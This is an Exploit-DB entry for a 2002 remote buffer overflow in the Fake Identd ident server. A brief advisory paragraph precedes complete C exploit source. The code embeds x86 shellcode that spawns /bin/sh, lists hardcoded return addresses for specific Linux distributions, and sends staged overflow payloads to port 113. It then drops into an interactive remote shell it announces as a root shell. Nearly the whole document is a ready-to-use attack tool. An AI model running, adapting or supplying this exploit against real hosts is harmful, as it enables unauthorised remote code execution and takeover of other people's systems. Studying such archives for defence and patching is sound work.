Fake Identd 0.9/1.x - Client Query Remote Buffer Overflow

EDB-ID:

21663




Platform:

Linux

Date:

2002-07-25


// source: https://www.securityfocus.com/bid/5351/info

Fake Identd is an open source Ident server designed to return the same information to all incoming requests. It is implemented by Tomi Ollila, and available for Linux and a number of other Unix based operating systems.

Reportedly, some versions of Fake Identd fail to properly handle long client requests. A specially formatted request split across multiple TCP packets may cause an internal buffer to overflow. Reportedly, execution of arbitrary code as the Fake Identd server process is possible.

/* lameident3-exp.c - sloth@nopninjas.com - http://www.nopninjas.com
 *   this should work for most Linux distributions without needing
 *   any modifications
 *
 * fakeidentd exploit 3rd revision.
 * v1.4 http://software.freshmeat.net/projects/fakeidentd/
 * v1.2 http://hangout.de/fakeidentd/
 *
 * vuln found by Jedi/Sector One
 * Other people who worked on the same bug and shared ideas:
 *   Charles "core" Stevenson, Solar Eclipse
 *
 * 7/25/02
 *
 * Collaborative effort via the [0dd] list. Thanks to Charles Stevenson for
 * running it.
 *
 * 0dd, irc.pulltheplug.com, b0red
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

#define     ALIGN 1   /* you probably dont need to touch this */
#define IDENTPORT 113
#define    USLEEP 200 /* delays the send()'s to avoid "broken pipe" errors */

#ifdef DEBUG
  #define DUPFD "\x04"
#else
  #define DUPFD "\x02"
#endif

/* dup() shellcode from Charles Stevenson <core@bokeoa.com> */
char lnx86_dupshell[]=
  "\x31\xc9\xf7\xe1\x51\x5b\xb0\xa4\xcd\x80\x31\xc9\x6a" DUPFD
  "\x5b\x6a\x3f\x58\xcd\x80\x41\x6a\x3f\x58\xcd\x80\x41\x6a\x3f"
  "\x58\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
  "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
  "\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

struct Targets {
  char *name;
  long baseaddr;
  char *shellcode;
};

struct Targets target[] = {
  { "  gcc-2.91.66  x86\n"
    "    * Slackware 7.1\n"
    "    *    RedHat 6.2\n",
    0x0804b0a0, lnx86_dupshell },
  { "  gcc-2.95.3/4 x86\n"
    "    * Slackware 8.1\n"
    "    *    Debian 3.0\n",
    0x0804a260, lnx86_dupshell },
  { (char *)0, 0, (char *)0 }
};

void sh(int sockfd);
int max(int x, int y);

void fail(char *reason) {
  printf("exploit failed: %s\n", reason);
  exit(-1);
}

long resolve(char *host) {
  struct in_addr ip;
  struct hostent *he;

  if((ip.s_addr = inet_addr(host)) == -1) {
    if(!(he = gethostbyname(host)))
      return(-1);
    else
      memcpy(&ip.s_addr, he->h_addr, 4);
  }
  return(ip.s_addr);
}

int make_connect(struct in_addr host) {
  int s;
  struct sockaddr_in sin;

  memset(&sin, 0, sizeof(sin));
  sin.sin_family        = AF_INET;
  sin.sin_port          = htons(IDENTPORT);
  sin.sin_addr.s_addr   = host.s_addr;

  if((s = socket(AF_INET, SOCK_STREAM, 0)) <= 0)
    fail("could not create socket");

  if(connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0)
    fail("could not connect\n");

  return(s);
}

int main(int argc, char *argv[]) {
  int s, a, uwait = USLEEP, nops = 500;
  long baseaddr;
  long shelladdr = 0xbfffa090;
  long pointaddr = 0;
  char buf1[2020], buf2[32], *p, *shellcode;
  struct in_addr host;

  printf("lameident3-exp.c by sloth @ b0red\n");

  if(argc<3) {
    printf("usage: ./lameident3-exp <target> <host> <send delay in ms>\n");
    for(a=0;target[a].baseaddr;a++)
      printf("  %d: %x %s", a, target[a].baseaddr, target[a].name);
    exit(-1);
  }

  for(a=0;a<atoi(argv[1]);a++)
    if(!target[a].baseaddr)
      fail("invalid target");

  baseaddr  = target[a].baseaddr;
  shellcode = target[a].shellcode;
  if(argv[3]) uwait = atoi(argv[3]);

  if((host.s_addr = resolve(argv[2])) == -1)
    fail("invalid host");

  memset(buf1, 0, sizeof(buf1));
  memset(buf1, 0x90, sizeof(buf1)-strlen(shellcode)-1);
  memcpy(&buf1[(sizeof(buf1)-strlen(shellcode)-1)],shellcode,strlen(shellcode));

  s = make_connect(host);

  send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0);
  usleep(uwait);

  memset(buf2, 0, sizeof(buf2));
  buf2[0] = 'A';
  *(long *)&buf2[1] = shelladdr - baseaddr - 5;

  send(s, buf2, 5, 0);
  usleep(uwait);

  p = buf1;
  printf("Writing shellcode: %d bytes to 0x%x...\n", strlen(buf1), shelladdr);

  for(a=0;a<=strlen(buf1), *p;) {

    if((a = send(s, p, strlen(p) > 19 ? 19 : strlen(p), 0)) == -1)
      fail("write error");

    p += a;
    usleep(uwait);

  }

  close(s);
  usleep(100);


  s = make_connect(host);

  send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0);
  usleep(uwait);

  memset(buf2, 0, sizeof(buf2));
  buf2[0] = 'A';
  *(long *)&buf2[1] = shelladdr - baseaddr + strlen(buf1) + 20 - 5;

  send(s, buf2, 5, 0);
  usleep(uwait);

  p = buf1;
  pointaddr = shelladdr + strlen(buf1) + 20;
  printf("Writing pointers to 0x%x\n", pointaddr);

  memset(buf1, 0, sizeof(buf1));
  for(a=0;a<=512;a += 4)
    *(long *)&buf1[a] = shelladdr + 500;

  for(a=0;a<=strlen(buf1), *p;) {

    if((a = send(s, p, strlen(p) > 19 ? 19 : strlen(p), 0)) == -1)
      fail("write error");

    p += a;
    usleep(uwait);

  }

  close(s);
  usleep(uwait);


  s = make_connect(host);

  send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0);
  usleep(uwait);

  memset(buf2, 0, sizeof(buf2));
  buf2[0] = 'A';
  *(long *)&buf2[1] = 0xffffffff - 0x9f - 5;

  send(s, buf2, 5, 0);
  usleep(uwait);

  memset(buf2, 0, sizeof(buf2));
  *(long *)&buf2[0] = pointaddr + 200 + ALIGN;

  send(s, buf2, 4, 0);

  close(s);
  usleep(uwait);


  s = make_connect(host);

  send(s, "1234, 1234\n", 11, 0);
  usleep(uwait);

  printf("here comes the root shell!\n");
  sh(s);

  close(s);
}

/* mixters */
int max(int x, int y) {
  if(x > y)
    return(x);
  return(y);
}

/* mixters sh() */
void sh(int sockfd) {
  char snd[1024], rcv[1024];
  fd_set rset;
  int maxfd, n;

  strcpy(snd, "uname -a; pwd; id;\n");
  write(sockfd, snd, strlen(snd));

  for(;;) {
    FD_SET(fileno(stdin), &rset);
    FD_SET(sockfd, &rset);
    maxfd = max(fileno(stdin), sockfd) + 1;
    select(maxfd, &rset, NULL, NULL, NULL);
    if(FD_ISSET(fileno(stdin), &rset)){
      bzero(snd, sizeof(snd));
      fgets(snd, sizeof(snd)-2, stdin);
      write(sockfd, snd, strlen(snd));
    }
    if(FD_ISSET(sockfd, &rset)){
      bzero(rcv, sizeof(rcv));
      if((n = read(sockfd, rcv, sizeof(rcv))) == 0){
        printf("EOF.\n");
        exit(0);
      }
      if(n < 0)
        fail("could not spawn shell");
      fputs(rcv, stdout);
    }
  }
}